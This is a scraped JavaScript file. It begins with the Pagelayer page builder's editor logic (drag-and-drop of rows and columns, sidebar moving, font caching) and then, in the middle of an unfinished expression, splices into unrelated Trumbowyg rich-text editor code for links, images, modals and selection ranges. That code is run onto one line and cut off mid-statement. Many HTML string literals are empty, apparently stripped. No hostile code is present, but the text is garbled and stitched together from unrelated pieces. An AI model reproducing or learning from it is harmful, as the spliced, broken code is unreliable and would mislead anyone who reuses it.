');
// Setup the grid drag
pagelayer_setup_drag();
// Set left bar draggable
pagelayer_make_leftbar_movable();
// Set to desktop
pagelayer_set_screen_mode('desktop');
// Create list of fonts
pagelayer_fonts = pagelayer_l('google_fonts_list');
// Set up right click
pagelayer_left_click();
pagelayer_right_click();
// Setup pagelayer history handle
pagelayer_history_obj['action_data'] = [];
pagelayer_history_setup(true);
// Make a quick access of the props
pagelayer_make_props_ref();
// Do any actions here
pagelayer_trigger_action('pagelayer_setup_history');
// Editor Tooltips
pagelayer_tooltip_setup();
// Load Fonts
for(var x in pagelayer_loaded_icons){
var item = pagelayer_loaded_icons[x];
jQuery.when(
pagelayer_get_stored_data(pagelayer_url+'/fonts/'+item+'.json', pagelayer_ver)
).then(function(){
pagelayer_icons[item] = JSON.parse(pagelayer_get_stored_data(pagelayer_url+'/fonts/'+item+'.json', pagelayer_ver));
});
};
// Set row-option top zero(0) of the first row
pagelayer_set_row_option_position();
// Just the txt
pagelayer.pro_txt = pagelayer_pro_txt;
// Hide the loader
pagelayer_loader_hide();
});
// Prevent the click Insite editor
function pagelayer_prevent_click(){
jQuery(document).on('submit', function(event){
var target = jQuery(event.target);
if (target.closest(pagelayer_editable).length < 1) {
event.preventDefault();
}
});
jQuery(document).on('click', function(event){
var target = jQuery(event.target);
if (target.closest('a').length > 0 && target.closest(pagelayer_editable).length < 1) {
event.preventDefault()
}
});
}
// Do pagelayer Dirty
function pagelayer_do_dirty(){
pagelayer_isDirty = true;
if (!window.onbeforeunload) {
window.onbeforeunload = function(){
return true;
};
}
}
function pagelayer_do_undirty(){
pagelayer_isDirty = false;
if (window.onbeforeunload) {
window.onbeforeunload = null;
}
}
// Executes when pagelayer is fully loaded
function pagelayer_loader_hide(){
var inner = pagelayer.$$('.pagelayer-percent');
inner.attr('loaded', 1);
var w = parseInt(inner.text());
var t = setInterval(function() {
w = w + 1;
inner.html(w +'%');
if (w >= 100){
clearInterval(t);
w = 0;
var loaderWrapper = pagelayer.$$('#pagelayer-loader-wrapper');
loaderWrapper.addClass('pagelayer-loaded');
loaderWrapper.animate({opacity:0}, function(){
loaderWrapper.remove();
});
}
}, 1);
pagelayer.loaded = 1;
}
// Set row-option top zero(0) of the first row
function pagelayer_set_row_option_position(){
try{
if(jQuery(pagelayer_editable).offset().top < 20){
jQuery(pagelayer_editable).addClass('pagelayer-row-option-zero');
}
}catch(e){
console.log(pagelayer_editable+" not found and hence Pagelayer wont work on this page !");
}
}
// The jQuery Object of the ELPD
var pagelayer_elpd;
// Store data values
function pagelayer_get_stored_data(url, version){
var name = 'pagelayer_'+url;
var data = {};
var force = false;
// Try to parse the data
try{
data = JSON.parse(localStorage.getItem(name));
if(data['version'] !== version){
force = true;
}
}catch(e){
force = true;
}
// Force download
if(force){
return jQuery.ajax({
url: url,
type: 'GET',
dataType: 'text',
success:function(newData){
var data = {};
data['version'] = version;
data['val'] = newData;
localStorage.setItem(name, JSON.stringify(data));
}
});
}
return data['val'];
}
function pagelayer_closest_corner(jEle){
var corners = [];
var w = jEle.outerWidth();
var h = jEle.outerHeight();
var topleft = jEle.offset();
// 0 - Top Left
corners.push(topleft);
// 1 - Top Right
corners.push({top: topleft.top, left: topleft.left+w});
// 2 - Bottom Right
corners.push({top: topleft.top+h, left: topleft.left+w});
// 3 - Bottom Left
corners.push({top: topleft.top+h, left: topleft.left});
//console.log(corners);
// Calculate the closest to the mouse
var distances = {};
for(var c in corners){
var dist = Math.hypot(pagelayer.mouse.x - corners[c].left, pagelayer.mouse.y - corners[c].top);
distances[c] = dist;
}
//console.log(distances);
var corner = Object.keys(distances).sort(function(a,b){return distances[a]-distances[b]})[0];
//console.log(corner);
return corner;
};
// Make left bar draggable
function pagelayer_make_leftbar_movable(){
var pl_iframe = pagelayer.$$('.pagelayer-iframe'),
pl_leftbar = pagelayer.$$('.pagelayer-leftbar-table');
// On mouse down in pagelayer-topbar-holder
pagelayer.$$('.pagelayer-topbar-mover').on('mousedown', function(e){
e = e || window.event;
e.preventDefault();
// Get leftbar position
var orig_eleX = pl_leftbar.offset().left;
var orig_eleY = pl_leftbar.offset().top;
// Get the mouse cursor position at startup:
var posX = e.clientX;
var posY = e.clientY;
// The variable needs to be empty.
var newMethod = '',
change = true;
var leftbar_mousemove = function(e){
e = e || window.event;
if(change){
// Add class to leftbar
pl_leftbar.addClass('pagelayer-leftbar-moving');
// Add left-right overlay
pl_iframe.before('');
pl_iframe.after('');
pagelayer.$$('body').addClass('pagelayer-overflow-hidden');
change = false;
}
// calculate the new cursor position and set the element left-top position
var top = orig_eleY + (e.clientY - posY);
var left = orig_eleX + (e.clientX - posX);
// set the element's new position:
pl_leftbar.css({'top': top +'px','left': left +'px'});
pagelayer.$$('.pagelayer-leftbar-toggle').hide();
// Make a copy of new method
var _newMethod = newMethod;
newMethod = '';
// Get near by corner
var offleft = pl_iframe.offset().left;
if(offleft + 100 > e.clientX){
newMethod = 'before';
}else if(offleft+pl_iframe.outerWidth()- 100 < e.clientX){
newMethod = 'after';
}
if(_newMethod != newMethod){
pagelayer.$$('.pagelayer-leftbar-move').css({'width' :'', 'opacity': '0.33'});
if(newMethod == 'after'){
pagelayer.$$('.pagelayer-moveto-right').animate({'width' :'60px', 'opacity': '0.66'}, 200);
pl_leftbar.addClass('pagelayer-rightbar');
}else if(newMethod == 'before'){
pagelayer.$$('.pagelayer-moveto-left').animate({'width' : '60px', 'opacity': '0.66'}, 200);
pl_leftbar.removeClass('pagelayer-rightbar');
}
}
};
var leftbar_mouseup = function(e){
// Remove events
pagelayer.gDocument.off('mousemove', leftbar_mousemove);
pagelayer.gDocument.off('mouseup', leftbar_mouseup);
// Remove class to leftbar
pagelayer.$$('.pagelayer-leftbar-move').remove();
var windowHeight = jQuery(window).height();
if(pl_leftbar.offset().top < 0){
pl_leftbar.css({'top': '10px'});
}else if( (windowHeight - e.clientY) < 10){
pl_leftbar.css({'top': ''+windowHeight - 40+'px'});
}
if( !pagelayer_empty(newMethod)){
pl_leftbar.removeClass('pagelayer-leftbar-moving');
pl_leftbar.removeAttr('style');
pagelayer.$$('.pagelayer-leftbar-toggle').show();
pagelayer.$$('body').removeClass('pagelayer-overflow-hidden');
pl_iframe[newMethod](pl_leftbar);
}
// make change true
change = true;
};
pagelayer.gDocument.on('mouseup', leftbar_mouseup);
pagelayer.gDocument.on('mousemove', leftbar_mousemove);
});
}
// Make rows and cols draggable
function pagelayer_setup_drag(){
// The object to show as drag
var shower = jQuery('.pagelayer-drag-show');
// Delete any prospect
var clear_prospect = function(){
jQuery('.pagelayer-drag-prospect').remove();
// Shows the wrap as active
jQuery('.pagelayer-drag-ele-hover').removeClass('pagelayer-drag-ele-hover');
}
// Reset the complete drag stuff
var reset_dragging = function(){
pagelayer.dragging = false;
pagelayer.drag_is_new = false;
pagelayer.drag_mouse = {x: 0, y: 0};
reset_on_drag();
}
// Reset the element on you were last
var reset_on_drag = function(){
pagelayer.drag_closest = false;
pagelayer.drag_closest_corner = null;
}
// Scroll by
var scrollPx = 7;
var scrollDist = 30;
// If we are too close too the window edge, then scroll
var handle_scroll = function(e){
var windowHeight = jQuery(window).height();
var windowWidth = jQuery(window).width();
// Are we to close to the top or bottom
if(e.clientY < scrollDist){
window.scrollBy(0, -scrollPx);
}else if((windowHeight - e.clientY) < scrollDist){
window.scrollBy(0, scrollPx);
}
// Are we to close to the top or bottom
if(e.clientX < scrollDist){
window.scrollBy(-scrollPx, 0);
}else if((windowWidth - e.clientX) < scrollDist){
window.scrollBy(scrollPx, 0);
}
}
// SET the values
reset_dragging();
var ondragover = function(e) {
//console.log(e);
pagelayer.mouse.x = parseInt(e.pageX);
pagelayer.mouse.y = parseInt(e.pageY);
//console.log(pagelayer.mouse);
// Are we dragging ?
if(pagelayer.dragging){
//console.log(e);
e.preventDefault();
//e.stopPropagation();
// The wrap of the element being dragged
var wrap = pagelayer.dragging;
// New addition
var is_new = pagelayer.drag_is_new;
var ele;
var tag = pagelayer_tag(wrap);
var id = pagelayer_id(wrap);
// If existing element then add we are dragging
if(!is_new){
// Start Dragging
if(!wrap.hasClass('pagelayer-is-dragging')){
wrap.addClass('pagelayer-is-dragging');
}
//shower.hide();
ele = document.elementFromPoint(e.clientX, e.clientY);
//console.log(ele);
// Drag the show object
//shower.show();
//var offset = {top: (e.pageY-10)+'px', left: (e.pageX-10)+'px'}
//shower.css(offset);
}else{
ele = document.elementFromPoint(e.clientX, e.clientY);
}
//console.log(e);
// Have we moved more than 5px;
var dist = Math.hypot(pagelayer.mouse.x - pagelayer.drag_mouse.x, pagelayer.mouse.y - pagelayer.drag_mouse.y);
//console.log(dist);
/*if(dist && dist < 5){
return false;
}*/
// Handle the scroll
handle_scroll(e);
// Find the closest wrap
var onWrap;
// If we are a column, we can be over another column or row
if(tag == 'pl_col'){
// Prevent column in inner-row and it's columns, if the draged column have inner-rows
if(wrap.find('.pagelayer-wrap-inner-row').length > 0){
onWrap = jQuery(ele).closest('.pagelayer-wrap-col,.pagelayer-wrap-row');
var innerRow = onWrap.closest(pagelayer_editable +' .pagelayer-wrap-inner-row');
if( onWrap.length < 1 || innerRow.length > 0){
onWrap = jQuery(innerRow).closest('.pagelayer-wrap-col,.pagelayer-wrap-row');
}
}else{
onWrap = jQuery(ele).closest('.pagelayer-wrap-col,.pagelayer-wrap-row,.pagelayer-wrap-inner-row');
}
//console.log(pagelayer_id(onWrap));
// If we are a row, we can be over another row or a column
}else if(tag == 'pl_row'){
onWrap = jQuery(ele).closest('.pagelayer-wrap-row');
//console.log(pagelayer_id(onWrap));
// For inner row we restrict to 1 level only
}else if(tag == 'pl_inner_row'){
var ele_wrap = jQuery(ele).parents('.pagelayer-wrap-col');
if(
(ele_wrap.length == 1 && !jQuery(ele).hasClass('pagelayer-wrap-col')) ||
(ele_wrap.length == 0 && jQuery(ele).hasClass('pagelayer-wrap-col'))
){
onWrap = jQuery(ele).closest('.pagelayer-wrap-ele,.pagelayer-wrap-col,.pagelayer-wrap-inner-row');
}else{
onWrap = jQuery(ele).closest('.pagelayer-wrap-inner-row');
}
// For every other element, we can be over a col or ele
}else{
onWrap = jQuery(ele).closest('.pagelayer-wrap-ele,.pagelayer-wrap-col,.pagelayer-wrap-inner-row');
// If we are inside the same widget tag
// We are allowing for now, hence the following is commented
/*var sameTag = onWrap.closest(pagelayer_editable +' [pagelayer-tag="'+tag+'"]');
if(sameTag.length > 0){
onWrap = sameTag.closest('.pagelayer-wrap-ele');
}*/
}
//console.log(onWrap);
// If we find nothing
if(pagelayer_empty(onWrap) || onWrap.length < 1){
clear_prospect();// Clear existing prospects
reset_on_drag();// Also reset the last on item
return false;
}
/*// If the columns more than 12 inside the row then return - As of now not enabled the below code
if(tag == 'pl_col'){
var _onTag = pagelayer_tag(onWrap);
var colEles;
// Is on col
if(_onTag == 'pl_col'){
colEles = onWrap.closest('.pagelayer-row-holder').children('.pagelayer-ele-wrap');
}else{
colEles = onWrap.find('.pagelayer-row-holder').first().children('.pagelayer-ele-wrap');
}
// If the columns more than 12
if(colEles.length >= 12){
return false;
}
}*/
// Get the ID
var onId = pagelayer_id(onWrap);
var onEle = pagelayer_ele_by_id(onId);
// Do we have a parent ?
var have_parent = function(Ele){
var pOnId = pagelayer_get_parent(Ele);
if(pagelayer_empty(pOnId) || tag == 'pl_col'){
return;
}
onId = pOnId;
onEle = pagelayer_ele_by_id(pOnId);
onWrap = pagelayer_wrap_by_id(pOnId);
have_parent(onEle);
}
// Do we have a parent ?
have_parent(onEle);
var changed = false;
// Was it the same ID like the one we were on before
if(pagelayer.drag_closest != onId){
pagelayer.drag_closest = onId;
changed = true;
}
//console.log(onId+' '+pagelayer.drag_closest)
var req_corners = {0: 'top', 1: 'top', 2: 'bottom', 3: 'bottom'};
// For columns we redefine the top and bottom
if(tag == 'pl_col'){
req_corners[1] = 'bottom';
req_corners[3] = 'top';
}
// Determine the previous and next
var next = wrap.next('.pagelayer-ele-wrap');
var prev = wrap.prev('.pagelayer-ele-wrap');
if(next.length == 1 && pagelayer_id(next) == onId){
req_corners = {0: 'bottom', 1: 'bottom', 2: 'bottom', 3: 'bottom'};
}
if(prev.length == 1 && pagelayer_id(prev) == onId){
req_corners = {0: 'top', 1: 'top', 2: 'top', 3: 'top'};
}
// Which corner are we closest to ?
var corner_num = pagelayer_closest_corner(onWrap);
var corner = req_corners[corner_num];
//console.log(corner+' != '+pagelayer.drag_closest_corner)
if(corner != pagelayer.drag_closest_corner){
pagelayer.drag_closest_corner = corner;
changed = true;
}
//console.log(changed);
// If we are on our self then clear return false
if(onId == id){
clear_prospect();// Clear existing prospects
reset_on_drag();// Also reset the last on item
return false;
}
// Then lets start showing
if(changed){
// Record the mouse points
pagelayer.drag_mouse.x = parseInt(e.pageX);
pagelayer.drag_mouse.y = parseInt(e.pageY);
// Clear any existing prospect
clear_prospect();
// Add new prospect
var prospect = '';
if(corner == 'bottom'){
onWrap.append(prospect);
}else if(corner == 'top'){
onWrap.prepend(prospect);
}
prospect = jQuery('.pagelayer-drag-prospect')
var animate_props = {height: '5px'};
// For column add a special class
if(tag == 'pl_col'){
prospect.addClass('pagelayer-drag-prospect-col');
animate_props['width'] = '5px';
// Adjust the left and right
var css = {};
css[(corner == 'bottom' ? 'right' : 'left')] = '0px';
prospect.css(css);
}
// Animate the prospect
prospect.animate(animate_props, 200);
// Highlight the wrap via overlay
onWrap.children('.pagelayer-ele-overlay').addClass('pagelayer-drag-ele-hover');
}
}
}
// When mouse is pressed down
var ondragstart = function(e){
//console.log(e);
// Target
var tEle = jQuery(e.target);
var wrap = tEle.closest('.pagelayer-ele-wrap');
//console.log(jEle[0]);
// Is it an existing element ?
if(wrap.length < 1){
return false;
}
// Do we have a parent ?
var id = pagelayer_id(wrap);
var jEle = pagelayer_ele_by_id(id);
var pId = pagelayer_get_parent(jEle);
if(pId){
wrap = pagelayer_wrap_by_id(pId);
}
//e.preventDefault();
var tag = pagelayer_tag(wrap);
e.originalEvent.dataTransfer.setData('Text', 1);
var img = document.createElement('img');
img.src = shower.attr('src');
e.originalEvent.dataTransfer.setDragImage(img, 32, 32);
pagelayer.dragging = wrap;
}
// When mouse is pressed down
var ondrop = function(e){
//console.log(e);
// Stop dragging ?
if(pagelayer.dragging){
e.preventDefault();
var wrap = pagelayer.dragging;
var tag = pagelayer_tag(wrap);
var gId = wrap.attr('pagelayer-global-id');
var fromEl = wrap.parent();
var id;
// Global ID is there for sure ?
if(pagelayer_empty(gId) || pagelayer_empty(pagelayer_global_widgets[gId])){
gId = 0;
}
wrap.removeClass('pagelayer-is-dragging');
// Find any prospect
var prospect = jQuery('.pagelayer-drag-prospect');
//console.log(prospect[0]);
// It should be exactly 1
if(prospect.length == 1){
var onWrap = prospect.parent();
var onId = pagelayer_id(onWrap);
var onTag = pagelayer_tag(onWrap);
var dropped;
var corner = prospect.attr('pagelayer-corner');
var method = (corner == 'top') ? 'before' : 'after';
var before_loc; // Location before the drop
// Create the element if it needs to be created
if(pagelayer.drag_is_new){
dropped = jQuery('');
// Is there a global ID
if(!pagelayer_empty(gId)){
dropped.attr('pagelayer-global-id', gId);
}
// Move the object
}else{
// Get near by element before move
before_loc = pagelayer_near_by_ele(pagelayer_id(wrap), tag);
dropped = wrap;
dropped.detach();
}
// If I am a column or row, then I go only before or after my same type !
if((onTag == 'pl_col' || onTag == 'pl_row') && onTag == tag){
// If I am a column and I am on a row
// OR I am a normal element and I am on column
}else if((tag == 'pl_col' && (onTag == 'pl_row' || onTag == 'pl_inner_row')) || onTag == 'pl_col'){
// We need to find the holder and add the prospect there
var holder = pagelayer_shortcodes[onTag]['holder'];
onWrap = onWrap.children('.pagelayer-ele').children(holder);
method = (corner == 'top') ? 'prepend' : 'append';
}
// Attach or shift the element
onWrap[method](dropped);
//console.log(dropped);
// Trigger the onadd
if(pagelayer.drag_is_new){
id = pagelayer_onadd(dropped);
// Create Column
if((tag == 'pl_row' || tag == 'pl_inner_row') && pagelayer_empty( dropped.attr('pagelayer-global-id') )){
var col = jQuery('');
jQuery('[pagelayer-id="'+id+'"]').find('.pagelayer-row-holder').append(col);
var col_id = pagelayer_onadd(col, false);
}
// Existing elements
}else{
id = pagelayer_id(wrap);
// Save in action history
pagelayer_history_action_push({
'title' : pagelayer_shortcodes[tag]['name'],
'action' : 'Moved',
'pl_id' : id,
'before_loc' : before_loc,
'after_loc' : {'method' : method, 'cEle' : onWrap}
});
pagelayer_do_dirty();
}
// Defining the variables as needed
var jEle = pagelayer_ele_by_id(id);
wrap = pagelayer_wrap_by_id(id);
var toEl = wrap.parent();
// Column number handle
if(tag == 'pl_col'){
var row_holder = jEle.parent().closest('.pagelayer-row-holder');
// Renumber the col where you are going
pagelayer_renumber_col(row_holder);
// Renumber the old columns as well
if(!pagelayer.drag_is_new){
var from_row = fromEl.closest('.pagelayer-row-holder');
pagelayer_renumber_col(from_row);
}
}
// Handle the empty col
if(tag != 'pl_col'){
pagelayer_empty_col(toEl.closest('.pagelayer-col-holder'));
if(!pagelayer.drag_is_new){
pagelayer_empty_col(fromEl.closest('.pagelayer-col-holder'));
}
}
}
// Clear prospect
clear_prospect();
}
reset_dragging();
}
// Add the events for inner content - as we are using the drag API
jQuery(document).on('dragstart', ondragstart);
jQuery(document).on('dragover', ondragover);
jQuery(document).on('drop', ondrop);
// For addition of new elements
pagelayer.$$('.pagelayer-leftbar').on('dragstart', function(e){
//console.log(e);
var tEle = jQuery(e.target);
var jEle = tEle.closest('.pagelayer-shortcode-drag');
var global_id = jEle.attr('pagelayer-global-id');
// Is it an existing element ?
if(jEle.length < 1){
return false;
}
e.originalEvent.dataTransfer.setData('tag', pagelayer_tag(jEle));
if(!pagelayer_empty(global_id)){
e.originalEvent.dataTransfer.setData( 'global_id', global_id );
}
pagelayer.dragging = jEle;
pagelayer.drag_is_new = true;
});
// Handle editable content by removing drag
var onmousedown = function(e){
var tEle = jQuery(e.originalEvent.explicitOriginalTarget);
if(tEle.closest('[pagelayer-editable]').length > 0){
//console.log('Is Editable MouseDown');
tEle.parents('[draggable]').attr('draggable', 'false');
}
}
// Handle editable content by adding drag that was removed
var onmouseup = function(e){
jQuery(document).find('[draggable=false]').attr('draggable', 'true');
}
// Handle editable contents by temprarily removing drag
jQuery(document).on('mousedown', onmousedown);
jQuery(document).on('mouseup', onmouseup);
};
// Handle empty col
// selector should be col holder
function pagelayer_empty_col(selector){
// Loop through
jQuery(selector).each(function(){
var jEle = jQuery(this);// jEle is the COL HOLDER
// Are we a col ?
if(!jEle.hasClass('pagelayer-col-holder')){
return;
}
// Column is becoming blank, so show add ele
if(jEle.children().length < 1){
//from.addClass('pagelayer-empty-col');
jEle.append('
'+
(pro ? '// @param keepRange : leave selection range as it is semanticCode: function (force, full, keepRange) { var t = this; t.saveRange(); t.syncCode(force); if (t.o.semantic) { t.semanticTag('b'); t.semanticTag('i'); t.semanticTag('s'); t.semanticTag('strike'); if (full) { var inlineElementsSelector = t.o.inlineElementsSelector, blockElementsSelector = ':not(' + inlineElementsSelector + ')'; // Wrap text nodes in span for easier processing t.$ed.contents().filter(function () { return this.nodeType === 3 && this.nodeValue.trim().length > 0; }).wrap(''); // Wrap groups of inline elements in paragraphs (recursive) var wrapInlinesInParagraphsFrom = function ($from) { if ($from.length !== 0) { var $finalParagraph = $from.nextUntil(blockElementsSelector).addBack().wrapAll('
').parent(), $nextElement = $finalParagraph.nextAll(inlineElementsSelector).first(); $finalParagraph.next('br').remove(); wrapInlinesInParagraphsFrom($nextElement); } }; wrapInlinesInParagraphsFrom(t.$ed.children(inlineElementsSelector).first()); t.semanticTag('div', true); // Unwrap paragraphs content, containing nothing usefull t.$ed.find('p').filter(function () { // Don't remove currently being edited element if (t.range && this === t.range.startContainer) { return false; } return $(this).text().trim().length === 0 && $(this).children().not('br,span').length === 0; }).contents().unwrap(); // Get rid of temporary span's $('[data-tbw]', t.$ed).contents().unwrap(); // Remove emptyt.$ed.find('p:empty').remove(); } if (!keepRange) { t.restoreRange(); } t.syncTextarea(); } }, semanticTag: function (oldTag, copyAttributes) { var newTag; if (this.o.semantic != null && typeof this.o.semantic === 'object' && this.o.semantic.hasOwnProperty(oldTag)) { newTag = this.o.semantic[oldTag]; } else if (this.o.semantic === true && this.DEFAULT_SEMANTIC_MAP.hasOwnProperty(oldTag)) { newTag = this.DEFAULT_SEMANTIC_MAP[oldTag]; } else { return; } $(oldTag, this.$ed).each(function () { var $oldTag = $(this); if($oldTag.contents().length === 0) { return false; } $oldTag.wrap('<' + newTag + '/>'); if (copyAttributes) { $.each($oldTag.prop('attributes'), function () { $oldTag.parent().attr(this.name, this.value); }); } $oldTag.contents().unwrap(); }); }, // Function call when user click on "Insert Link" createLink: function () { var t = this, documentSelection = t.doc.getSelection(), node = documentSelection.focusNode, text = new XMLSerializer().serializeToString(documentSelection.getRangeAt(0).cloneContents()), url, title, target; while (['A', 'DIV'].indexOf(node.nodeName) < 0) { node = node.parentNode; } if (node && node.nodeName === 'A') { var $a = $(node); text = $a.text(); url = $a.attr('href'); if (!t.o.minimalLinks) { title = $a.attr('title'); target = $a.attr('target'); } var range = t.doc.createRange(); range.selectNode(node); documentSelection.removeAllRanges(); documentSelection.addRange(range); } t.saveRange(); var options = { url: { label: 'URL', required: true, value: url }, text: { label: t.lang.text, value: text } }; if (!t.o.minimalLinks) { Object.assign(options, { title: { label: t.lang.title, value: title }, target: { label: t.lang.target, value: target } }); } t.openModalInsert(t.lang.createLink, options, function (v) { // v is value var url = t.prependUrlPrefix(v.url); if (!url.length) { return false; } var link = $(['', v.text || v.url, ''].join('')); if (!t.o.minimalLinks) { if (v.title.length > 0) { link.attr('title', v.title); } if (v.target.length > 0) { link.attr('target', v.target); } } t.range.deleteContents(); t.range.insertNode(link[0]); t.syncCode(); t.$c.trigger('tbwchange'); return true; }); }, prependUrlPrefix: function (url) { var t = this; if (!t.urlPrefix) { return url; } var VALID_LINK_PREFIX = /^([a-z][-+.a-z0-9]*:|\/|#)/i; if (VALID_LINK_PREFIX.test(url)) { return url; } var SIMPLE_EMAIL_REGEX = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; if (SIMPLE_EMAIL_REGEX.test(url)) { return 'mailto:' + url; } return t.urlPrefix + url; }, unlink: function () { var t = this, documentSelection = t.doc.getSelection(), node = documentSelection.focusNode; if (documentSelection.isCollapsed) { while (['A', 'DIV'].indexOf(node.nodeName) < 0) { node = node.parentNode; } if (node && node.nodeName === 'A') { var range = t.doc.createRange(); range.selectNode(node); documentSelection.removeAllRanges(); documentSelection.addRange(range); } } t.execCmd('unlink', undefined, undefined, true); }, insertImage: function () { var t = this; t.saveRange(); var options = { url: { label: 'URL', required: true }, alt: { label: t.lang.description, value: t.getRangeText() } }; if (t.o.imageWidthModalEdit) { options.width = {}; } t.openModalInsert(t.lang.insertImage, options, function (v) { // v are values t.execCmd('insertImage', v.url, false, true); var $img = $('img[src="' + v.url + '"]:not([alt])', t.$box); $img.attr('alt', v.alt); if (t.o.imageWidthModalEdit) { $img.attr({ width: v.width }); } t.syncCode(); t.$c.trigger('tbwchange'); return true; }); }, fullscreen: function () { var t = this, prefix = t.o.prefix, fullscreenCssClass = prefix + 'fullscreen', isFullscreen; t.$box.toggleClass(fullscreenCssClass); isFullscreen = t.$box.hasClass(fullscreenCssClass); $('body').toggleClass(prefix + 'body-fullscreen', isFullscreen); $(window).trigger('scroll'); t.$c.trigger('tbw' + (isFullscreen ? 'open' : 'close') + 'fullscreen'); }, /* * Call method of trumbowyg if exist * else try to call anonymous function * and finaly native execCommand */ execCmd: function (cmd, param, forceCss, skipTrumbowyg) { var t = this; skipTrumbowyg = !!skipTrumbowyg || ''; if (cmd !== 'dropdown') { t.$ed.focus(); } try { t.doc.execCommand('styleWithCSS', false, forceCss || false); } catch (c) { } try { t[cmd + skipTrumbowyg](param); } catch (c) { try { cmd(param); } catch (e2) { if (cmd === 'insertHorizontalRule') { param = undefined; } else if (cmd === 'formatBlock' && t.isIE) { param = '<' + param + '>'; } t.doc.execCommand(cmd, false, param); t.syncCode(); t.semanticCode(false, true); } if (cmd !== 'dropdown') { t.updateButtonPaneStatus(); t.$c.trigger('tbwchange'); } } }, // Open a modal box openModal: function (title, content) { var t = this, prefix = t.o.prefix; // No open a modal box when exist other modal box if ($('.' + prefix + 'modal-box', t.$box).length > 0) { return false; } if (t.o.autogrowOnEnter) { t.autogrowOnEnterDontClose = true; } t.saveRange(); t.showOverlay(); // Disable all btnPane btns t.$btnPane.addClass(prefix + 'disable'); // Build out of ModalBox, it's the mask for animations var $modal = $('
', { class: prefix + 'modal ' + prefix + 'fixed-top' }).css({ top: t.$box.offset().top + t.$btnPane.height(), zIndex: 99999 }).appendTo($(t.doc.body)); // Click on overlay close modal by cancelling them t.$overlay.one('click', function () { $modal.trigger(CANCEL_EVENT); return false; }); // Build the form var $form = $('', { action: '', html: content }) .on('submit', function () { $modal.trigger(CONFIRM_EVENT); return false; }) .on('reset', function () { $modal.trigger(CANCEL_EVENT); return false; }) .on('submit reset', function () { if (t.o.autogrowOnEnter) { t.autogrowOnEnterDontClose = false; } }); // Build ModalBox and animate to show them var $box = $('', { class: prefix + 'modal-box', html: $form }) .css({ top: '-' + t.$btnPane.outerHeight() + 'px', opacity: 0 }) .appendTo($modal) .animate({ top: 0, opacity: 1 }, 100); // Append title $('', { text: title, class: prefix + 'modal-title' }).prependTo($box); $modal.height($box.outerHeight() + 10); // Focus in modal box $('input:first', $box).focus(); // Append Confirm and Cancel buttons t.buildModalBtn('submit', $box); t.buildModalBtn('reset', $box); $(window).trigger('scroll'); return $modal; }, // @param n is name of modal buildModalBtn: function (n, $modal) { var t = this, prefix = t.o.prefix; return $('', { class: prefix + 'modal-button ' + prefix + 'modal-' + n, type: n, text: t.lang[n] || n }).appendTo($('form', $modal)); }, // close current modal box closeModal: function () { var t = this, prefix = t.o.prefix; t.$btnPane.removeClass(prefix + 'disable'); t.$overlay.off(); // Find the modal box var $modalBox = $('.' + prefix + 'modal-box', $(t.doc.body)); $modalBox.animate({ top: '-' + $modalBox.height() }, 100, function () { $modalBox.parent().remove(); t.hideOverlay(); }); t.restoreRange(); }, // Preformated build and management modal openModalInsert: function (title, fields, cmd) { var t = this, prefix = t.o.prefix, lg = t.lang, html = ''; $.each(fields, function (fieldName, field) { var l = field.label || fieldName, n = field.name || fieldName, a = field.attributes || {}; var attr = Object.keys(a).map(function (prop) { return prop + '="' + a[prop] + '"'; }).join(' '); html += ''; }); return t.openModal(title, html) .on(CONFIRM_EVENT, function () { var $form = $('form', $(this)), valid = true, values = {}; $.each(fields, function (fieldName, field) { var n = field.name || fieldName; var $field = $('input[name="' + n + '"]', $form), inputType = $field.attr('type'); switch (inputType.toLowerCase()) { case 'checkbox': values[n] = $field.is(':checked'); break; case 'radio': values[n] = $field.filter(':checked').val(); break; default: values[n] = $.trim($field.val()); break; } // Validate value if (field.required && values[n] === '') { valid = false; t.addErrorOnModalField($field, t.lang.required); } else if (field.pattern && !field.pattern.test(values[n])) { valid = false; t.addErrorOnModalField($field, field.patternError); } }); if (valid) { t.restoreRange(); if (cmd(values, fields)) { t.syncCode(); t.$c.trigger('tbwchange'); t.closeModal(); $(this).off(CONFIRM_EVENT); } } }) .one(CANCEL_EVENT, function () { $(this).off(CONFIRM_EVENT); t.closeModal(); }); }, addErrorOnModalField: function ($field, err) { var prefix = this.o.prefix, $label = $field.parent(); $field .on('change keyup', function () { $label.removeClass(prefix + 'input-error'); }); $label .addClass(prefix + 'input-error') .find('input+span') .append( $('', { class: prefix + 'msg-error', text: err }) ); }, getDefaultImgDblClickHandler: function () { var t = this; return function () { var $img = $(this), src = $img.attr('src'), base64 = '(Base64)'; if (src.indexOf('data:image') === 0) { src = base64; } var options = { url: { label: 'URL', value: src, required: true }, alt: { label: t.lang.description, value: $img.attr('alt') } }; if (t.o.imageWidthModalEdit) { options.width = { value: $img.attr('width') ? $img.attr('width') : '' }; } t.openModalInsert(t.lang.insertImage, options, function (v) { if (v.url !== base64) { $img.attr({ src: v.url }); } $img.attr({ alt: v.alt }); if (t.o.imageWidthModalEdit) { if (parseInt(v.width) > 0) { $img.attr({ width: v.width }); } else { $img.removeAttr('width'); } } return true; }); return false; }; }, // Range management saveRange: function () { var t = this, documentSelection = t.doc.getSelection(); t.range = null; if (!documentSelection || !documentSelection.rangeCount) { return; } var savedRange = t.range = documentSelection.getRangeAt(0), range = t.doc.createRange(), rangeStart; range.selectNodeContents(t.$ed[0]); range.setEnd(savedRange.startContainer, savedRange.startOffset); rangeStart = (range + '').length; t.metaRange = { start: rangeStart, end: rangeStart + (savedRange + '').length }; }, restoreRange: function () { var t = this, metaRange = t.metaRange, savedRange = t.range, documentSelection = t.doc.getSelection(), range; if (!savedRange) { return; } if (metaRange && metaRange.start !== metaRange.end) { // Algorithm from http://jsfiddle.net/WeWy7/3/ var charIndex = 0, nodeStack = [t.$ed[0]], node, foundStart = false, stop = false; range = t.doc.createRange(); while (!stop && (node = nodeStack.pop())) { if (node.nodeType === 3) { var nextCharIndex = charIndex + node.length; if (!foundStart && metaRange.start >= charIndex && metaRange.start <= nextCharIndex) { range.setStart(node, metaRange.start - charIndex); foundStart = true; } if (foundStart && metaRange.end >= charIndex && metaRange.end <= nextCharIndex) { range.setEnd(node, metaRange.end - charIndex); stop = true; } charIndex = nextCharIndex; } else { var cn = node.childNodes, i = cn.length; while (i > 0) { i -= 1; nodeStack.push(cn[i]); } } } } documentSelection.removeAllRanges(); documentSelection.addRange(range || savedRange); }, getRangeText: function () { return this.range + ''; }, updateButtonPaneStatus: function () { var t = this, prefix = t.o.prefix, tags = t.getTagsRecursive(t.doc.getSelection().focusNode), activeClasses = prefix + 'active-button ' + prefix + 